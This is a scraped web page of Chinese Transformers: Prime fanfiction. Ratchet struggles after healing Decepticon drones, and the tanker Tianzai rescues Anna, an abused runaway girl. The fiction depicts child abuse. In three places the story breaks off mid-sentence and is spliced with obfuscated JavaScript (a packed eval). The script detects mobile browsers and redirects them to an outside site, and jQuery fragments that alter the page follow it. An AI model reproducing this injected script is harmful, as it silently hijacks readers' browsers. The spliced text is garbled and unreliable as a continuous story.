隔板的胸前装甲被磨掉了喷漆,阿尔茜背后的车轮尾翼折成了90度,在这之中,独属医官的机体最为显眼。 原本橙白色的涂漆如今已经完全被独属于霸天虎战士们的深紫色所侵染,变成了一条条丑陋、紫橙相间的不规则图案。 然而医官从未在意自身的狼狈,他的目光定格在自己的伺服器上,这双与普莱姆斯争夺生命的手此时正在不停地颤抖。 他有多少年……不曾感受过这种感觉? 赛博坦最伟大的医生自铁堡毕业以来,便再未颤抖过执刀的手。 如果说赛博坦人的本能是与神斗争,那么以救护车为首的医疗机甲们便是字面意义与普神对抗的扑火者,那双善于精细操作的伺服器曾无数次从神明手中夺过熄灭的火种。 从铁堡的贵族医院,到婆娑天城的私人医馆,再到黎明高地的地下诊所,救护车从未对自己的双手该如何挥刀感受到迷茫。 以及最后,是的,穿梭于战火之中,眼睁睁地看着即便是他也无力拯救的生命流逝。 然后,是现在。 医官身上属于霸天虎的能量液滴落在地板上,晕开一片蓝色的污渍。 作为医生,救护车十分清楚自己身上已经造成了起码五级的金属污染,他应该去进行一次彻底的清洁,也许还有消毒,但,他只是坐在那里,望着自己不住颤抖的伺服器。 这双手上流淌着属于另一阵营的机子的能量液…… 第一次不是因为杀戮,而是因为拯救。 擎天柱想要搀扶他去休息,然而这位从陆地桥中狼狈跌落出来的医生自回来后便没有再说出过一句话语,此时自然也拒绝了领袖的好意。 他向着擎天柱露出一个安抚的笑容,他知道这一定不能让自己已经身为领袖的朋友安心,但他真的……他只是……普莱姆斯,他只是不能。 他……有很多要思考的东西。 霸天虎营地中的气氛仿佛延伸到了汽车人的基地,二层扶梯上,拿冰块敷着额头的富勒特工以及皱着眉头的美琪同样保持了沉默。 杰克与拉菲看着这一切,摸不到头脑。 同样搞不清楚形势的,还有隔板。 绿色的大个头看起来已经被今天的一切搞昏了头脑。 他是说,这一切自从天灾出现后就像是脱轨的列车,一路奔着不知名的方向狂奔,令机子不安。 隔板不喜欢这种感觉。 这就好像……原本设定好剧本的未来正在向着另一条支线更改,给人带来无法预知的危险以及……无措。 这就是隔板所感受到的,先是美琪被绑架(这真的把隔板吓坏了),再是领袖同意了救护车单刀赴会,简直像是自杀行为。 然后就是出发前还忧心忡忡、戒心满满的医官从陆地桥中猛地跌落出来,面甲上带着几乎不可能出现的对那些霸天虎的担忧与震惊,以及愤怒。 说真的,虽然他们同意了派出救援,但那真的只是迫不得已对吧?毕竟他们可是霸天虎! 最后,让隔板跌落光学镜的事情出现了,那些霸天虎堂而皇之地出现在了汽车人的基地之中! 隔板不是说他们无力招架,无论多少霸天虎他们都能轻松应付!更何况是一群虾兵蟹将的量产机! 所有赛博坦人都知道霸天虎的量产兵智商低下。 他们甚至无法做到搬运一块木板! 所以他们不会恐慌…… 隔板不会恐慌。 可是为什么那些士兵保持着恐怖的沉默在救护车与擎天柱的默许下把那些看起来已经下线的霸天虎量产机搬运进了基地内的医疗室? 整个过程迅速而高效,天啊,高效。 在这过程中隔板没有看见过一次量产士兵们的失误。 没有失手摔落、没有故意砸坏、更没有蓄意破坏,他们只是低着头,在伤员们呻吟时触摸他们的手掌提供安慰。 这简直……难以置信。 隔板意识到,他们简直像是正常的赛博坦人。 救护车很快调整过来了状态,所有的情绪缩在医生的面甲下,为霸天虎们提供了更有效的治疗方案。 这过程中,霸天虎们没有窥探他们的机密,一丝一毫都没有,哪怕阿尔茜与大黄蜂冲着他们亮出了武器。 蓝色的手炮充能对准了量产兵薄弱的外装甲,但没有霸天虎对此进行反应,他们只是维持着那种该死的、不合时宜的沉默。 威震天怎么可能允许他们在汽车人面前如此任人宰割?! 直到一架胸口以下都被锈蚀腐蚀得破碎的霸天虎飞机被几架和他同模且都显而易见露出了苦恼神色的量产杂兵抬了进来。 隔板能认出这同样是一架劳工阶级。 而他的性格……显然比其他人都要更加像是“真正的赛博坦人”。 隔板要强调,他并没有对他们有歧视。 只是……你得让他缓一缓。 “霸天虎的量产士兵有CPU缺陷”,这一刻板印象是每个赛博坦人都烙印进潜意识的,隔板不清楚这是什么时候发生的,但他真的有在纠正了。 这只是太过惊人。 只见那架患有严重锈蚀症的机子对着自己身后陆地桥的光晕发出痛苦的尾音,绿色越野车只能捕捉到其中破碎的语句。 他很确定自己听见了天灾的名字,或者是类似的,比如和“disease”、“pestilence”押韵的词。 也是在这个时候,当隔板开始去倾听他的话语的时候,绿色的越野车才第一次感受到了另一种完全不同的磁场。 那远比汽车人的磁场要尖锐,却比霸天虎的磁场要弱小,如果不去倾听的话就无法感知。 这是什么? 他顺着这种特殊的频率调整自己的听觉系统。 下一秒,无数的情绪粒子涌入了越野车的CPU,隔板发出了一声压抑的尖叫,好在量产们的动作足够迅速但也足够嘈杂,没有任何人注意到他的失态。 隔板不得不为自己的CPU加上一层过滤防火墙。 随后,他才震惊地意识到: 所有的磁场,都来自那些量产士兵。 无数的、无数的情绪就充盈在基地中,悲伤的、惊讶的、痛苦的、愤怒的…… 那是来自量产们的情绪磁场,如同任何一个正常且真正的赛博坦人才独有的。 他们不是没有感情的机器。 为什么他们会认为霸天虎的量产士兵是毫无感情的机械? Why…… How……? 他们怎么可以……一直对此视而不见? 他们和自己一样具有这样强烈且复杂的情绪,隔板……汽车人怎么能在这么漫长的战斗中从未意识到这一点? 普神…… 越野车慌张无措地去寻找阿尔茜的面甲,但蓝色摩托车的磁场一如既往保持着警惕,他无法感知到任何情绪。 领袖……擎天柱知道这点吗? 他下意识地在失去目标的时候去寻找指挥官的身影,然而这次红蓝色的领袖没有出现在任何一个目光所能及之处。 那些霸天虎士兵们就在隔板见鬼一样的注视以及其他汽车人警惕的眼神中被沉默的医官治好然后毫无留恋地再度通过了陆地桥,就和他们过来时一样诡异。 然后,就是现在。 隔板的疲惫由内自外,他根本不敢直视擎天柱和其他人的目光。 他只是单纯的需要时间。也许是更多的独处时间,但他会……对吗?他真的应该像通天晓副官说的那样,牢记汽车人守则。 God,他为什么会认为霸天虎的量产兵是毫无感情的? 他就是为了反对这个才战斗至今。 他真的需要时间静静。 也就是这个时候,救护车才说出了他回到基地以来的第一句话。 “擎天柱……” 医生听起来绝望又痛苦。 “我们得救他。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那些被掩盖的……我也看到过太多了,我从铁堡的贵族身上看见了他们的伪善与罪孽,从平民身上看到了身不由己的痛苦,从底层的工人身上看到了被压榨的绝望,我看够了,擎天柱,最后我逃到你身边,我将自己托付给你、给汽车人、给正确的未来。” “我以为,我在做正确的事。” “我……依然认为你是正确的,但我……” 救护车终于将头埋到了自己的膝间。 “我害怕错的是我,擎天柱。” 现在,领袖终于从救护车痛苦的自白中听出来,他在谴责自己。 “我没有想到我会在自己身上看见属于我最憎恶的那些人的傲慢。”医官抬起头来,那双自责的光学镜照进领袖同样痛苦的火种中,他试图让自己的火种不再跳动得如此混乱。 “我将他们分为霸天虎与汽车人,拯救我所该拯救的,但……什么时候生命被我分为了我应该拯救的?什么生命不值得被拯救?” “为什么我忘记了……”救护车颤抖着,重新看向自己的双手,“我的准条?” “那些霸天虎,明明是和我们一样的赛博坦人……就像我们任何一个赛博坦人一样,天灾……”他顿住了,带着擎天柱不愿意在朋友身上看到的崩溃。 “我不该……” 在救护车进一步苛责自己之前,擎天柱打断了他。 他怎么会不清楚,不光是救护车,他从未停止对自己的责问。 自领导模块被嵌入他的胸膛再也没停止。 “这不是你的错。” 他只能这样告诉救护车,这不是任何人的错。 战争腐蚀了他们,每一个人,领袖扫过隔板、阿尔茜与大黄蜂,甚至是他们年幼的人类朋友。 战争一直在腐蚀美好的一切。 最开始是赛博坦,然后是震天尊,最后是擎天柱。 那些记忆中的彩色一点点被战争的痛苦掩盖,最后将他们都变成另一个人。 擎天柱在看见家乡沦陷前咽下自己的恸哭,在震天尊与自己离心时咽下自己的恸哭,在看见自己所领导的汽车人死亡时咽下自己的恸哭。 他不断地接下同伴的痛苦,唯有内心不断质问自己的声音才能告诉擎天柱他是如何在不断继续的战争中维持住自我。 所有人都可以崩溃,唯有他不可以。 罪魁祸首如何能轻飘飘地将一切归咎于战争。 于是他握住医官的肩膀,让在场的所有赛博坦人与人类都能重新感受到领袖传递给他们的希望。 “不会太久了,救护车,不会太久了。” “我们会的,我保证,我们会结束这一切的。” 他只能这样告诉他们。 像他一直在做的。 咽下自己的痛苦。 48.再一次 “好了救护车,我们去休息吧。” 阿尔茜,永远是阿尔茜,他们坚强又勇敢的女战士,在泥沼中第一个找回了理智。 在低沉的气氛中,蓝色的摩托车稳稳地扶住了医官的肩膀。 她架住救护车依然颤抖的肩膀,搀扶着疲惫的医官缓慢地向着休息室离开,那双蕴含了一切的光学镜中透露出同样的悲伤来。 阿尔茜很清楚同伴的磁场中所蕴含的感情,隔板也好,救护车也好,甚至是擎天柱,在这场战争中,没有人能置身事外。 战士从踏入战场的一瞬间就明白了这是一场注定不存在胜者的战争。 赛博坦人善于战斗,他们的生理构造、意识形态乃至于社会结构都充斥着这些,哪怕是一架刚刚诞生的机子也会本能地明白该如何让自己化身武器。 他们享受变形时风吹过装甲缝隙的舒适、机体与机体之间碰撞的火花、火种与火种之间的斗争,每一次变形都是他们送给赛博坦的颂歌。 他们本就为此而生。 然而即便如此,战斗只是他们本能的一部分,和平永远不是第二选择。 然而……战争,这是完全不同的东西。 没有规则,没有输赢,没有结束,你得到的命令只有进攻、进攻、进攻,用你们的火种生生推开一扇不知胜败的门。 敌人如同数不清的噬铁虫从眼前仓皇而过,没有停歇的浪潮吞噬明天的黎明连同同族的生命。 杀红眼的敌人不会因为你倒地而停下攻击的刀刃,杀掉一个又会有另一个,生与死的刺激感随着时间而消逝,直到你的武器过热、刀刃卷边、装甲破碎、管线崩裂。 此时你才会明白,什么时候生命不再是生命。 当生命的逝去已经成为你的日常。 最后你只能麻木地挥动你的双手,直到控制系统彻底报废,你所有的本能只剩下一个——活下来。 最后的最后,你赤手空拳从敌人的胸膛挖出破损的电路和熄灭的火种,让普神的降福成为你手心中一缕不值一提的余温。 她怎么会不清楚隔板与救护车在痛苦什么。 只是,将他们当做敌人会更好接受,只是敌人,这样就能忽视他们没有在同类残杀。 好像这样就能够让他们从夺取生命的痛苦中暂得喘息而不是……在清楚意识到自己杀掉了数不清的同族的性命的罪恶感中被压垮。 所以,沉浸在这场属于战争的噩梦中。 直到再一次,从噩梦中惊醒,感受到在更加痛苦的现实。 在救护车最后离开指挥室前,医官望向领袖的光学镜,领导模块在擎天柱的胸膛散发着柔和的光芒,一如四百万年前闪耀,擎天柱一如猎户座,如恒古的安宁。 但终究有什么不一样了。 救护车轻轻拂开了阿尔茜的手掌,伴以一个勉强的笑容。 “擎天柱,我会尽我所能,所以……” 他身上还带着属于那些霸天虎量产士兵的能量液,然而不知为何,如今的医官不再恐惧自己所感受到的现实。 “让我们救救他吧。” “天灾、汽车人、赛博坦……”他说着,再次拾起医官的骄傲。 “所有我们所该拯救的一切。” 哪怕是霸天虎。 “让我再试一次。” 这一次,救护车不再需要搀扶。 而擎天柱,他依然是擎天柱,如果他不想,谁也没法知道领袖现在在想什么。 人类孩子们感受着他们之间的氛围,美琪依然闷闷不乐,而完全摸不到头脑的杰克与拉菲也依然没从任何人类或者赛博坦人嘴里知道任何经过。 大黄蜂被领袖劝去休息,直到整个基地再次只剩下擎天柱一个机子站在雷达前。 “所以……”杰克看了眼领袖,试探着把手臂搭到了沙发上。 “你们发生了什么?” “或者说天灾发生什么了吗?”拉菲坐到美琪身边也眼巴巴地问道。 “发生什么事情?!”女孩像是刚刚重启,立刻开始大声抱怨,好在杰克眼疾手快捂住了她的嘴。 “嘘!他们刚去休息,我不想引起更多人注意!特别是吵醒救护车!他看起来真的很疲惫。” 美琪拍了拍他的手示意自己清楚了。 “简单来说,就是天灾受了伤,霸天虎受了伤,然后他还有个追求者,但是显然救护车和霸天虎都搞砸了!” “什……”杰克迷糊了。 “你能再来一遍吗?”更小的男孩也说道。 “好吧好吧,让我想想该怎么和你们说……啊有了!” 美琪拽过一边的富勒特工。 大人的脸色看起来依然很惨淡。 这让几个小朋友有点儿心疼他了,一周内被绑架两次,还是被同一个人,的确是需要缓一缓。 美琪拉着富勒的胳膊说:“我和富勒大叔就像是被天灾当做诱饵,然后目的是让救护车能出手救他的霸天虎朋友。” “这部分我们知道,美琪,有没有更,额,细节的?” “或者他是怎么会有这么多霸天虎朋友的?”拉菲疑惑。 “嘘,耐心点儿!我正要讲呢!” “我还以为我会和天灾狠狠打一架,但是没有!他只是把我们放在一旁然后那些霸天虎就像是我受伤后的杰克或者富勒特工一样,他们在对天灾说教,担心意味的!” 她一边继续叙说一边模仿着霸天们的动作,让富勒特工来饰演天灾,但显然富勒特工的体重严重超标导致她想抬起富勒特工小腿的动作看起来有些滑稽。 “好吧我放弃了,你们意会一下吧,总之我是说那架叫作K-19的霸天虎一定对天灾有意思。” “万一那种是正常的机体检查呢?”杰克有些茫然。 “对……嗯……”拉菲看起来也很局促。 “绝不,我告诉你,我的眼睛很准的,兄弟。” “他可是亲口承认他和K-19是朋友!但朋友可不会这么做!” “然后呢?” 杰克想跳过这个话题。 “然后?救护车和K-19就搞砸了,”女孩高昂的情绪回落,“我们就被送回来了。” “就这些?” “就这些。” “老天……”杰克有些无奈地扶住了头,“你根本没解释什么东西。” “嘿!我说了所有我知道的东西!”美琪气冲冲。 好吧,也许她的确掩盖了一两件事,比如天灾的项圈,但她真的不觉得将油罐车本就厌恶的情绪表现得如此明显的事情该被她当做像是八卦一样说出来。 “而且那些霸天虎说了他们和天灾在那里不是因为霸天虎,也不是因为机械党,这听起来简直像是他们和天灾成为了朋友。”富勒特工补充道。 “为什么不可能呢。”女孩说,“他们伤得很重,但依然很担心天灾,天灾也承认他们是朋友,好吧,可能有合作伙伴的意思,但显然天灾自己都没意识到他很喜欢那些霸天虎飞机,他是为了他们才绑架了我和富勒大叔的。” “有这种可能。”富勒的声音和身后擎天柱的声音重叠,吓了几个人类一跳。 “作为一辆卡车来说,你真的很安静。”杰克开了个笑话。 “谢谢你杰克。”领袖温和地笑了笑,接着对美琪说道,“天灾……还和你们说了什么吗?” “唔……其实刚刚那些大概就是全部了,但嘿领袖,我喜欢他,”女孩说,“他看起来……和威震天不一样。” “他很健谈,很帅气,他周围的那些机子都很喜欢他。” 美琪的话听起来有些柔软,她看着擎天柱,知道领袖到底想要从她这里得到什么,所以敏锐的女孩竭尽所能安抚着这辆疲惫的卡车。 “他像你一样,像是一位真正的领袖,他也很关心那些伤员。”美琪走到擎天柱面前,“他受了很重的伤,救护车想帮他但他一个人做不到。” 美琪没办法忍受领袖的眼睛里露出悲伤,她努力回想着记忆,“但他并不是孤单一人,有个叫作K-19的机子一直陪在他身边。” “你知道吗擎天柱,我觉得他不会坐以待毙的,”女孩说,“那双野心勃勃的眼睛,他绝对会没事的。” 富勒特工的目光也在此时转向了逐渐柔和了目光的领袖。 “我同意。”特工整理了一下自己的衣领。 “而且……他在人类和赛博坦人之间的态度……很不一样,我想我们依然有机会把他争取过来。” 领袖沉默着。 “如果可以的话,请再多和我谈谈他吧。” 擎天柱最终望向两个人类,说道。 “当然,擎天柱,当然。” 富勒特工知道自己没办法拒绝他。 “多久都可以。” …… 远离汽车人基地的佛莱斯特小镇中。 十岁的女孩扶着一侧的墙壁艰难移动着,在身后留下一连串小小的脚印。 女孩的鼻头被冻得通红然而身上却只层层叠叠套着夏日的短袖与薄外套,冬日的寒风毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177058|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留情地从上身破损的衣角掠入身体,带来女孩又一阵不受控制的寒颤。 她无助地裹紧自己仅剩的外套,脚上穿着一双破旧的小棉鞋。 女孩走得歪歪扭扭,不时需要停下来休息,比她的怪异装扮更惹眼的是她脚踝上一处明显的红肿。 她叹了口气,忍耐住这微不足道的疼痛在短暂的休息后再次起身。 安娜小心地拍了拍自己珍贵的小书包,身后背着的紫色书包早已无法拉上拉链,然而却被主人用撇脚的针角封住,缺口处隐隐露出里面金钱与书本的颜色。 这就是安娜·艾佛利如今全部的身家。 她本打算在她的父亲出门谈“生意”的时候逃跑,然而肯利·艾佛利今天没有出门。 男人喝得醉汹汹睡在了客厅的沙发上,这给早已策划好逃跑计划的女孩打了个措手不及。 安娜不得不从自己的卧室窗户里跳下来。 更糟糕的,她绑好的绳子在她下到一半的时候断开了。 万幸的是她本来想带走用来保暖的被子帮她垫了一下,这才让从二楼掉下来的女孩只崴了脚。 这对于早已习惯了疼痛的安娜来说并不是什么大事,这远比肯利·艾佛利打断她胳膊的时候要好忍受的多。 她只是很担心,这会让她跑不快,如果男人发现她偷走了家里的东西还逃跑了,她不确定肯利·艾佛利会做出什么举动来。 而且,那床保暖的被子也因此彻底没法要了,除非她想披着一块硬巴巴的德国大列巴逃跑。 小镇里的人她不认识,也不打算向那些几次三番往她家里跑的男人与社工们求助,但她听自己的母亲说过,沿着森林的小路走,就会有另一个城镇。 也许她能在那里租到一辆车,或者,她不知道,但一座没有任何人认识她的小镇绝对比佛莱斯特要好。 好吧,可能是任何一座小镇都比这里要好。 但女孩显然低估了冬天夜晚的森林的恐怖。 巨大的灌木即便是冬季也绝不凋零,为了争夺阳光,它们会长得又大又高,占据任何一个可能透过阳光的缝隙,即便是白天也黑不见底,更何况是真正的夜晚。 自女孩进入森林后,她只能通过不时蹲下身子抚摸地面是泥土还是草地来判断道路。 她进来这里也许是半个小时?或者一个小时?她没有手表不清楚时间,但她身上的衣服已经被冷风吹透了,她脚踝的扭伤甚至都不再向她的大脑传递痛苦,然而安娜不敢停下。 如果她停下,就会死,女孩十分清楚这一点。 安娜咬了咬牙,继续往着树林深处走去,孤身一人与可能被野生动物吃掉的恐惧都要在此刻为求生本能后退。 然而属于另一座小镇的光芒迟迟没有出现。 女孩走不动了。 她有些饥饿,肯利·艾佛利这几天没有让她吃东西(因为她又一次触怒了男人,可能是因为她不小心摔了一个盘子),但她在晚餐的时候往肯利·艾佛利的酒里扔了一些,嗯……可能是感冒药的东西,所以她决定暂时放下对饥饿的抱怨。 而且,嘿,安娜真的不是那种乖女孩,所以她的书包里还有一些面包,还有一小罐临期的蓝莓酱。 “好吧,”女孩自言自语道,冻僵的手指用了几次力气才从书包里把食物取出来,“我们有面包和果酱。” “我们还有果酱和面包。” 她小声笑了一下,坐在一棵高大灌木的树底慢慢吃了起来。 但吃东西的举动不知道为什么让她有些更加不舒服,干巴的面包搭配粘稠的果酱让她的嘴巴像是在咀嚼…… 下一秒,安娜把吃进去的食物全部都吐了出来。 她剧烈地颤抖着,胃液夹杂着未消化的面包砸在地上,女孩的头发也沾染上了一些肮脏的呕吐物,但她的胃里什么都没有,所以安娜并不担心这会洗不干净,这只是……很难受。 她呕吐得太厉害了,以至于根本没有注意到一辆漆黑油罐车从她身后的树林里驶了出来。 当安娜再次注意到这辆熟悉的油罐车时,她意识到,无人驾驶绝对是真实的,而她的母亲所讲的故事里也并不全是对的。 起码救人的人不一定会是白色,种族也不一定是天使。 那辆曾救过她一次的油罐车再度停在不敢置信的女孩眼前,车门砰的一声打开,暖气再次如上一次一般扑面而来。 她什么也没说,只是爬了上去。 这一次,安娜有记得擦干净自己身上的脏东西,没有再弄脏油罐车的内饰。 49.安娜的新家人 佛莱斯特小镇外,人类的踪迹逐渐消失,取而代之的是被白雪覆盖的荒芜大地。 月光下,一只野兔从洞穴中探出鼻头,仔细嗅闻着空气中的气味。 离这里最近的狐狸一家今晚没有出门,显然寒风飕飕的夜晚让捕食者也拒绝了在这样的气温下出来捕食。 空气中没有传来食肉动物的麝香,犁鼻器如实向大脑传递出安稳信号,灰白色的兔子这才小心翼翼地探出脑袋,然而一阵轰隆隆如同地震般的轰鸣由远及近,这胆小的生灵立刻受了惊再度缩回了黑暗中。 公路上,发出噪音的罪魁祸首正大摇大摆地从它的头上驶过。 那是一台漆黑的巨大油罐车,24寸的超大型轮胎、高达605的马力与搭载的18速变速箱足以使他成为整条公路上当之无愧的超级巨物。 然而如果有人类恰好在此看到了他的驾驶位,就会错愕地发现那上面空无一人。 车厢内只有仪表盘发出的光芒交替闪烁,暖风从车载空调中吹出,带走坐在副驾驶位上的女孩身上的颤抖。 那正是几分钟前因为忍受不了肯利·艾佛利的虐待而离家出走的安娜。 女孩神情憔悴但看起来并不惊慌,唯一令人担心的可能就是她身上因为长期营养不良而有些凸现的颧骨。 安娜一边小心翼翼地抱着自己的破旧书包一边拢起手掌向手心呼着气。 暖风吹过她的面庞又微微调小了风速,油罐车像是有自己的思维一样又兀自打开了车座下的空调,直吹手脚的温暖让女孩四肢上的触觉逐渐归位,胃部的痉挛也逐渐平息。 安娜蜷缩在座椅上,唯恐让自己头发上的秽物或者身上的泥土蹭到油罐车一尘不染的皮质内饰上。 车窗外的景色一闪而过,而安娜毫不在意,两次被油罐车从死亡中救下的经历足以让她对这个神秘的救助者托付信任,女孩就这样保持着蜷缩的姿势在温暖的车厢中昏昏欲睡。 油罐车一路驶过肯利·艾佛利的旧房子、佛莱斯特小镇的界牌,最后又带着乘客一路北上,在此期间女孩没有叫停过一次。 好吧,这可就有些难为油罐车了。 毕竟他也没有和人类有多么深刻的接触,上一个能和他谈上话的人类还是他绑架的人质,而那段经历显然不具备任何参考性。 如果女孩没有目的地的话,哪怕是天灾也没办法找到一个合适的地方安置她。 最终,油罐车在女孩半眯着的眼睛的注视下停在了一处荒无人烟的崖壁前。 四处高耸的岩石屏蔽了人类的视线,也掩盖了油罐车的巨大身形。 引擎熄火与泄气的声音从车底传出,安娜在这时才打起了精神。 她等待着任何人或者任何……东西对她说些什么,然而,没有人赶她下车。 随后是长达十几分钟的沉默。 “你好……?”安娜的手指抓紧了自己的书包,犹豫着开口道。 依然没有人回应。 按理来说,眼看一架不明驾驶的车辆带自己走向人迹罕至的荒野会让正常的人类对此感到恐惧,但安娜显然不在此列。 女孩只是有些忐忑,她开始考虑自己是不是该下车了,毕竟救了她的人没必要让她一直留在车里,他在森林里救了她,这就已经足够安娜为此感激的了。 这段沉默很可能就是一种委婉的拒绝,她最好不要给别人再添麻烦。 她的意思是,没有人会想要一个拖油瓶的对吧?而且安娜显然没有任何工作能力,她唯一能做的就是帮她的救命恩人做做家务,而且她还有些笨手笨脚。 或者她的救命恩人是为了金钱,她可能会更加安心,起码这样东西是她可以给出去的。 她在心里叹了口气,从书包里抓出了一捆零零碎碎的纸币,并不多但这已经是她能拿出来的全部了,肯利·艾佛利并不是一个善于存钱的人。 她将纸币放在了座位上,随即就要去摸油罐车开门的把手。 在她触碰之前,油罐车猛地颤抖了一下,让女孩冷不丁小声尖叫了一声缩回了手。 “什……” 在女孩疑惑的目光中,油罐车的广播里传出了一道年轻又富有磁性的声音。 “你……不要动。” 女孩像是吓愣了,那双漂亮的蓝色眼睛一眨不眨地盯着油罐车的内置广播。 在安娜的注视下,那道声音又接着说道: “在这种天气下在外面过夜,你会死的。” 老实讲,天灾本没打算暴露自己的存在,毕竟从他得到的军方资料、富勒特工与美琪的三言两语中他也能推测出这颗星球的原生物种对赛博坦人的态度。 更何况他自身的情况也并不算好,没必要节外生枝。 但这就像你因缘巧合下养的第一只仓鼠。 你和她一开始就只不过是源自一场意外,但出于各种原因,你决定,好吧,给你的单调生活来一点儿电子榨菜,不,你并不担心她,你只是很无聊。 日复一日的观察让你对女孩有远比你所设想的更深的感情,你将她视作一个陌生的……就像K-19一直告诉他的,朋友。 女孩一直很努力在生存,那天震撼到你的/生/命/之/光并不是昙花一现,从女孩身上你知道你之前低估了这颗星球上原生物种的生命力。 然后某一天,这个和你同病相怜的小家伙突然就消失了,只留下房子里一个疯狂发飙的男人和空空如也的卧室。 太好了,真是太好了,天灾那一刻没有把肯利·艾佛利连同那栋房子一起化为灰烬的唯一原因是他不想毁掉女孩格外珍惜的卧室。 特别是他本人也才从一个艰难的时刻走出来,更不用提天灾糟心的和其他人断了联系。 好在最终他在距离肯利·艾佛利的房子2公里的地方发现了蹲在树下奄奄一息的安娜。 而女孩还活着,感谢元始天尊。 天灾试图在救下女孩后给她找一个更好的家庭,因为显然的,肯利·艾佛利根本担当不住身为sire的责任。 瞧瞧他的creation,浑身上下都透露出虚弱,这在赛博坦甚至活不下一个日循环。 这几乎就宣判了作为sire的那个机子的失责。 吸取上次的教训,这次天灾决定给女孩找一个更好的sire。 不管女孩愿不愿意。 然而安娜,这个女孩一如既往地不按常理出牌。 现在,女孩依然盯着自己,这让小油罐车浑身电镀层都在刺挠。 “是你救了我吗?”安娜问道。 “……” 这次那道声音没有回答。 “不要害怕。”女孩缩回了副驾驶,伸出手安抚般轻轻拍了拍小油罐车的车门。 “我不会伤害你的。” 天灾想讽刺一下女孩这句话中的逻辑漏洞,因为显然他才是两个人之中具备杀伤力的那个,但不知为何,他的发声器保持了沉默。 “谢谢你救了我。” “我知道,上次也是你对吗?”女孩说。 安娜的声音轻柔而和缓,抚平了小油罐车磁场里的焦躁。 “救了我的,是车子,而不是人。” 她听起来并不厌恶也不惊慌,细腻的声线中夹杂着暖意:“你一直在试图保护我,谢谢你。” “……你听起来并不害怕。”天灾瓮声瓮气地说。 女孩身上的紧张逐渐消散了,“你救了我,两次,我为什么要害怕。” “因为我是……一辆会说话的车?” “我听妈妈说过世界上还有会说话的茶杯和烛台。” 油罐车传出来的声音听起来更迷惑了。 “那……并不存在。” “你有亲眼见过吗?”女孩听起来有些生气,这让天灾检查了一遍自己的数据库,他没从人类的记载中找到会说话的家具的记述。 所以,这可能是真的?毕竟他不是人类,而数据库中又显示作为一名战士喜欢妄自揣测是一种自掘坟墓的行为。 “……抱歉,”他诚恳的道歉,“我不该对我不熟悉的东西擅加批判。” “没关系。”好在安娜没有对此有任何多余的反应,她非常友好地再度拍了拍他的侧车门。 “妈妈说过知错就改是好孩子会做的事情,你也是个好孩子。” 这……很不一样。 在油罐车短暂的过往中从没有人和他用这样的语气,说过这样的话。 “你的这个……‘妈妈’听起来很有智慧。”他斟酌着说,“她是你的……内置数据ai吗?” 安娜肉眼可见地皱起了眉。 “不!那是什么?”她疑惑地问,“她是我妈妈,她和爸爸生了我。” “你的意思是他们一起制造了你?” 天灾试图将人类的话转化为赛博坦的语言。 “也可以那么说?”安娜犹豫着,“但是妈妈生了我,爸爸就只是……爸爸?” 女孩也有点儿搞糊涂了。 小油罐车觉得自己应该是搞明白了。 “所以,妈妈是你的carrier。” 安娜决定把这些难以理解的词语当做属于这辆油罐车的文化中对妈妈一词的解释。 毕竟梵妮·艾佛利也告诉过她要尊重不同种族之间的文化差异。 显然这就是“妈妈知识”起作用的时候了! 安娜握了握拳,努力对油罐车的理解点了点头。 很好!看来他们都搞明白了!天灾也很满意地在自己的内芯中点了点头。 “那你的carrier是个非常有智慧的人。” 他接着话题说道。 “当然!”安娜忽视身体上的疲惫骄傲地抬起头。 “但我好像没有……”天灾突然闭上了嘴巴。 住宅中只有两个人而没有三个人的原因只有一个。他意识到了这点。 安娜垂下了头,从书包里取出了那本故事书,她抚摸着掉皮的书页,语气低迷,“是的……她……” “她去了天堂。” “爸爸说她会过得很好的……” 但是天堂是…… 天灾从人类的网络中了解到了这个词语,天堂并没有被证实存在,或者说,那更多的像是一个人类安慰自己坦然接受死亡的借口。 车厢内的后视镜注视着逐渐控制不住情绪的女孩。 终归是十岁的孩子,即便早熟,连日的委屈和痛苦终归会从瓶子里满溢而出,安娜一边擦着不受控制流出来的眼泪,一边哽咽。 “她会在天堂看着我的,只要我乖乖的……” “爸爸答应我的。” 女孩的爆发是突然且沉默的,她没有大喊大叫,也没有歇斯底里,仿佛在痛苦中浸润久了连大声哭泣都变成了一种奢望,她只是擦着自己的眼泪,竭力掩盖着自己的不堪。 天灾知道这种痛苦,他了解这种痛苦,这是和他一样被欺骗的痛苦,被当做奴隶所压迫的痛苦。 他知道女孩意识到了。 男人,那个所谓“爸爸”的话根本就是一场彻头彻尾的骗局。 女孩聪慧,怎么会意识不到肯利·艾佛利对她所说的“如果表现乖巧,妈妈就会在天堂得到幸福”是一场骗局。 她只是将自己的信任错误地托付给了一个不值得的人渣。 “嘿,”天灾和缓的声音传出来,让女孩将红肿的眼睛转向了他,“想看点儿不一样的吗?” “你还不知道的……一个秘密。” “我不仅仅是一辆车。” 女孩的眼泪还在流淌,但他知道自己已经吸引住了女孩全部的注意力。 “我是个赛博坦人。” “这意味着我可以变形。” 他哄着女孩在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 